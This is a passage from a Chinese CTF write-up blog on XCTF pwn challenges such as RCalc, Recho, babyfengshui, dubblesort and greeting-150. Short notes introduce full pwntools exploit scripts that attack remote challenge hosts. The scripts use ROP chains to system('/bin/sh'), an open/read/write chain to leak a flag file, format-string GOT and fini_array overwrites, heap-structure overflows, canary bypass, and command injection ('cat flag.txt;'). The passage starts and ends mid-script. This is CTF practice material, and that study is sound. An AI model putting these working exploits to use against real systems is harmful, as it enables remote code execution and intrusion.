libc.address = __libc_start_main_addr - libc.symbols['__libc_start_main']

# _IO_2_1_stdin_+0x38 是IO_buf_base位置
setname(p64(libc.symbols['_IO_2_1_stdin_']+0x38)[:-1])

#partial write 修改IO_buf_base最低位
echo("%16$hhn")

# 这里需要计算返回地址与泄露出来的差值,就是40也就是0x28
# IO_write_base
# IO_write_ptr
# IO_write_end
# IO_buf_base
# IO_buf_end
payload = flat([
p64(libc.address+0x3c4963)*3,
stack - 0x28,
stack + 0x10
])

sla("choice>> ",2)
sa("length:", payload)
sl('')

# 这里通过getchar() 让_IO_read_ptr++
# 最后我们就可以sys_read了
for i in range(len(payload)-1):
sla("choice>> ",2)
sla("length:", '')

# read了,0xd93是pop rdi
# 写入后rop就对了
sla("choice>> ",2)
rop = flat([
pie+0xd93,
libc.search('/bin/sh').next(),
libc.symbols['system']
])
sla("length:", rop)
sl('')




ia()
if __name__ == '__main__':
exp(host,)

RCalc

逆向题。。。栈溢出很简单,然后逆向部分。。。逆向结构体,最主要是要求自写canary如何覆盖掉,利用save result的溢出,覆盖掉canary为0,然后对比就好了
可以参考文章这篇文章,具体我不再分析

注意点

scanf遇到\x20,\x09, \x0a, \x0b, \x0c, \x0d 会截断,也就是无法继续输入,所以puts_plt无法使用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 49906
#context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = './RCalc'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
#libc = elf.libc if context.binary else ELF("./libc.so.6")
#libc = ELF('./libc.so.6')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')

if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)


def pass_canary(k):
for i in range(35+k):
sla("Your choice:", '1')
sa("input 2 integer: ", '0\n0\n')
sla("Save the result? ", "yes")
#ga("stepr\n stepr\nstepr\nstepr\nstepr\n")
sla("Your choice:", "5")


def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
pop_rdi = 0x0000000000401123
main = 0x0000000000401036
printf_plt = elf.plt['printf']
puts_plt = elf.plt['puts']
__libc_start_main_got = elf.got['__libc_start_main']
lg("printf_plt", printf_plt)
lg("puts_plt", puts_plt)
lg("__libc_start_main", __libc_start_main_got)
payload = flat([
"\x00"*0x118,
pop_rdi,
elf.got['__libc_start_main'],
elf.plt['printf'],
main,
])
sla("Input your name pls: ", payload)
ga()
pass_canary(0)

__libc_start_main_addr = uu64(r(6))
lg("__libc_start_main", __libc_start_main_addr)
libc.address = __libc_start_main_addr - libc.symbols['__libc_start_main']
lg("libc", libc.address)

payload = flat([
'\x00'*0x118,
pop_rdi,
libc.search('/bin/sh').next(),
libc.symbols['system'],
0x0
])
sla("Input your name pls: ", payload)
pass_canary(0)


ia()
if __name__ == '__main__':
exp(host,)

Recho

这RCTF的题目好像都不是考常规的栈溢出,都是杂了好多其他知识在里面的。。。这道我不知道怎么退出循环,只能找wp了,现在了解了,io.shutdown(“send”),可以关闭流

还有第二点,如何想到用orw来读取flag,因为程序里给了flag路径

所以要构造syscall,这里还有一点挺骚的,就是如何找syscall

看了wp后,发觉通过偏移,alarm的函数偏移,通过修改got表,让其指向alarm+5处就有syscall了,太骚了

还有一个点要说吗,文件描述符,也就是read(3, bss, 0x30)
为什么是3

因为0 标准输入,1标准输出,2标准错误,这三个默认都会打开,所以open返回值是从3开始,到时候总结下文件描述符的问题

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 36407
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = './Recho'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)
'''
0x00000000004006fc : pop rax ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004006fe : pop rdx ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040070d : add byte ptr [rdi], al ; ret
'''
#start here
pop_rax_ret = 0x00000000004006fc
pop_rdi_ret = 0x00000000004008a3
pop_rdx_ret = 0x00000000004006fe
pop_rsi_r15_ret = 0x00000000004008a1
add_rdi_al_ret = 0x000000000040070d
flag = 0x601058
alarm_got = elf.got['alarm']
read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_plt = elf.plt['alarm']
bss = 0x601090

payload = 'a'*0x38
# get syscall
payload += flat([
pop_rax_ret,
0x5,
pop_rdi_ret,
alarm_got,
add_rdi_al_ret,
])
# fd = open('flag')
# rax = 2
# rdi = filename
# rsi = flag
# rdx = mode
payload += flat([
pop_rax_ret,
0x2,
pop_rdi_ret,
flag,
pop_rdx_ret,
0x0,
pop_rsi_r15_ret,
0x0,
0x0,
alarm_plt,
])
# read(3, bss, 0x30)
payload += flat([
pop_rdi_ret,
0x3,
pop_rsi_r15_ret,
bss,
0x0,
pop_rdx_ret,
0x30,
read_plt
])
# write(1, bss, 0x30)
payload += flat([
pop_rdi_ret,
0x1,
pop_rsi_r15_ret,
bss,
0x0,
pop_rdx_ret,
0x30,
write_plt
])
sla("Welcome to Recho server!\n", 0x200)
sl(payload)
r()
io.shutdown("send")
ia()
if __name__ == '__main__':
exp(host,)

反应釜开关控制

system都给了。。。还搞毛,pie也没关,还五星难度,真的看不懂,将所有地址都覆盖成system处位置,直接shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 41985
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = './028e7b4fcd294884b7de00f2526d3911'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
payload = p64(0x4005F6)*200
sl(payload)

ia()
if __name__ == '__main__':
exp(host,)

实时数据监测

这个太难了吧,除了格式化字符串有别的?

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 51936
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = './76da801f91de4d7b8b2d9b34387a1ec9'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
# RWX: Has RWX segments


def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
addr=0x0804A048
payload="%546c%18$hn%12544c%19$hn"+p32(addr+2)+p32(addr)
#ga("b printf\nc")
sl(payload)
ia()
if __name__ == '__main__':
exp(host,)

babyfengshui

说来惭愧,又是逆向不行,题目很简单,就是那个堆分配顺序的问题,他先分配一个内容堆块,再是结构的堆块
假设

内容 结构 内容 结构 内容 结构
0x80 0x80 0x80 0x80 0x10 0x10

我们delete(0)
然后在malloc一个0x80+0x80大小的堆块,就可以将结构放到后面了,我们可以通过这个溢出覆盖结构指针,然后控制,我这题libc又下了半个世纪

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 33786
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = '/tmp/tmp.JDznvG24vn/babyfengshui'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
#libc = elf.libc if context.binary else ELF("./libc.so.6")
libc = ELF('./libc6-i386_2.23-0ubuntu11_amd64.so')

if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)

def c(idx):
sla(": ", idx)

def new(size, length, text):
c(0)
sla("size of description: ", size)
sla("name: ", "AAAA")
sla("text length: ", length)
sla("text: ", text)

def show(idx):
c(2)
sla("index: ", idx)

def edit(idx, length, text):
c(3)
sla("index: ", idx)
sla("text length: ", length)
sla("text: ", text)

def delete(idx):
c(1)
sla("index: ", idx)

def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
new(0x80, 0x80, "AAAA")
new(0x80, 0x80, "AAAA")
new(0x8, 0x8, '/bin/sh\x00')
delete(0)
#new(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))
payload = flat([
'a'*0x108,
0,
0x89,
'b'*0x80,
0,
0x89,
elf.got['free'],
])
new(0x100, 0x19d, payload)
ga()
show(1)
ru("description: ")
free_addr = u32(r(4))
lg("free", free_addr)
from LibcSearcher import *
obj = LibcSearcher("free", free_addr)
libc_base = free_addr - obj.dump('free')
sys_addr = libc_base + obj.dump('system')
edit(1, 0x4, p32(sys_addr))
delete(2)
ia()
if __name__ == '__main__':
exp(host,)

dubblesort

这道题国赛就见过类似的了,再出来发觉还是不会做,不会做的原因居然网上没有一个解释的。只好自己去调试,查资料,发觉了些有趣的玩意

漏洞利用

leak地址,这个明眼人一看就知道,因为不可能不泄露的,scanf后立即printf的,本来以为还能泄露canary的,想下canary最后一个字节是\x00无法泄露

..问题是远程泄露出来的地址不知道是什么东西,照着另一篇wp 做了下,发觉有个地址是got地址?问题我这里没显示,照着这方法做确实可以,
readelf -s filename | grep got.plt

减去这个偏移就是libc地址,拿到后就可以为所欲为了

scanf 可以通过+,-绕过,这个不说了,我们通过这个可以绕过canary,然后记住canary后的数字都要比canary大,不然他会交换顺序,这样就会错,设计题目的时候,佩服这些师傅们,计算好了,system函数以及bin_sh都是0xf7开头的,然后bin_sh又比system函数大,所以不会进行排序,太骚了,这些其实都不是重点,对我来说,因为这些我已经大概估摸得到,有一点我估摸不到的就是这个偏移,究竟哪里存放的才是返回地址,待我细细说来

看这里的偏移,数组位于ebp-0x70处,也就是说,我应该从这里写到canary是0x60,而一个int占4个字节,也就是0x60/4=24, canary出于25号位置,接下来,3个padding,在接下来就是ebp,占一个索引,合起来就是24+1+3+1=29,可到这里我发觉不对,对不上,我给了个错误的地址,程序没崩溃?意思我还没动到返回地址,这是为什么呢?
上汇编代码

看这里,本来通常是

1
2
push ebp
sub esp,0x1c

这种类型或者

1
2
push ebp
and esp,0x0ffffff0

这种,这里有没有发觉多了3个push,而ida也没有正常解析,他直接当成了原来的情况,所以计算出来的就是ebp-0x10为canary了,而现在我们需要加上这三个偏移才能达到那个目的,所以现在变成24+1+3+1+3=32个索引,第33个便是可以填充system的

扩展

然后我去调试的过程中发觉返回地址前面是0,也就是ebp=0,这里有些小问题,也就是ebp为什么是0,寄存器的初始值是如何来的,继续跟,一直跟,跟到了结果
(程序是如何启动的)[https://luomuxiaoxiao.com/?p=516]

这篇文章我前段日子还发过,又忘了,经典的过程还是得多温习下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '111.198.29.45'
port = 30833
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = '/tmp/tmp.HOwD1E81J4/dubblesort'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")
#libc = ELF('./libc.so.6')

if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# FORTIFY: Enabled

def write_data(data):
sla("number : ", data)

def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
ga("b __printf_chk\nc")
offset = 0x18
sa("What your name :", "a"*offset+'\n')
ru("a"*offset)

addr = u32(r(4))&0xfffffff0
libc.address = addr -0x001b0000
# from LibcSearcher import *
# obj = LibcSearcher("__libc_start_main", _rtld_global_ro_addr)
# libc_base = _rtld_global_ro_addr - obj.dump('__libc_start_main')
# sys_addr = libc_base + obj.dump('system')
# bin_sh = libc_base + obj.dump("str_bin_sh")
# lg("sys",sys_addr)


sla("How many numbers do you what to sort :",35)
for i in xrange(24):
write_data(0)

write_data("+") #25
for _ in xrange(4):
write_data(0xf0000000)

for _ in xrange(3):
write_data(0xf0000000)
write_data(libc.symbols['system'])
write_data(libc.symbols['system']+1)
write_data(libc.search("/bin/sh").next())

ia()
if __name__ == '__main__':
exp(host,)

greeting-150

以为很简单的格式化字符串,还是有一些想不起的点,fini这个点,学习学习,其余没什么骚操作了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 32235
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = './greeting'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: No RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
fini_array = 0x08049934
strlen_got = 0x08049a54

main_addr = 0x080485ED
system_addr = 0x08048490
payload = "aa"
payload += flat([
fini_array+2, #12
strlen_got+2,
fini_array,
strlen_got,
])
payload += "%{}c".format(2052-18-16-2) #18 那个已知字符串,16地址,2填充的aa
payload += "%12$hn"
payload += "%13$hn"
payload += "%{}c".format(0x8490-2052)
payload += "%15$hn"
payload += "%{}c".format(0x85ed-0x8490)
payload += "%14$hhn"
#ga("b printf\nc")
sla("Please tell me your name... ", payload)
sl("/bin/sh")
ia()
if __name__ == '__main__':
exp(host,)

secret_file

这题挺有趣的,绕过后执行命令,我本来没有libcrypto.so.1.0.0这个库的,然后通过从

1
sudo find / -name libcrypto.so.1.0.0

从docker里找到了一份,然后cp了过来,然后patchelf下就好了

1
patchelf --set-rpath ~/Downloads/ctf/xctf/secret_file secret_file

从代码里能看出,strcmp通过后,能执行命令,调试下发觉是个常数,然后照着调试下偏移,最后用个分号执行命令就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 32542
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = './secret_file'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
string = '02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe'
ga("b strcmp\nc")
payload = flat([
"a"*(283-27),
"cat flag.txt;",
])
payload = payload.ljust(283, 'a')
payload += string
sl(payload)
ia()
if __name__ == '__main__':
exp(host,)

EasyPwn

坑点,不要在libc2.29上调试,新增了保护应该是,free_hook写的时候出错,还有就是,这道题没啥意思。。麻烦一点的格式化字符串而已,没学到什么

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 55539
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = '/tmp/tmp.FOmlyIFWCL/pwn1'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
